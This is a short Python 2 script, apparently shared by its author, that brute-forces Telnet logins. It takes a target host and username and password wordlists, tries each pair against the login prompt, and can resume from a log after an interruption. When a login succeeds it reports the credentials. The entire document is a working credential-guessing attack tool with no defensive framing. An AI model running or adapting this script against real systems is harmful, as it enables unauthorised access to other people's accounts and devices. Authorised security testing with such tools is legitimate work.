Telnet bruteforce

telnet_bruteforce.py

"""
    Telnet bruteforce
    Author: Juan Escobar
    Twitter: @itsecurityco
"""

import sys
import os
import telnetlib

# Modified according to requirements
USERNAME_LABEL = "Username:"
PASSWORD_LABEL = "Password:"
ERROR_RESPONSE = "Error: Failed to authenticate."
# Modified according to requirements
log_file = "telnet.log"

usage = "Usage: python %s host username_wordlist password_wordlist" % sys.argv[0]

if len(sys.argv) < 4:
    print usage
    exit(0)

host = sys.argv[1]

handle = open(sys.argv[2], 'r')
users = handle.read().splitlines()
handle.close()

handle = open(sys.argv[3], 'r')
passwords = handle.read().splitlines()
handle.close()

session = False
if os.path.isfile(log_file):
    session = True
    handle = open(log_file, 'r')
    session_last = handle.read().strip().split(":")
    handle.close()
    os.remove(log_file)

print "Telnet bruteforce"

for password in passwords:
    for user in users:
        if session == True:
            if session_last[0] == user and session_last[1] == password:
                session = False
            else:
                continue
        try:
            tn = telnetlib.Telnet(host)
            tn.read_until(USERNAME_LABEL)
            tn.write(user + "\n")
            tn.read_until(PASSWORD_LABEL)
            tn.write(password + "\n")
            print "[*] Trying '%s:%s' ..." % (user, password)
            error = tn.read_until(ERROR_RESPONSE)
            if error.find(ERROR_RESPONSE) != -1:
                print error
                pass
            else:
                print "[!] Credentials found: %s:%s" % (user, password)
                exit(0)
            print tn.close()
        except:
            handle = open(log_file, "w")
            handle.write("%s:%s" % (user, password))
            handle.close()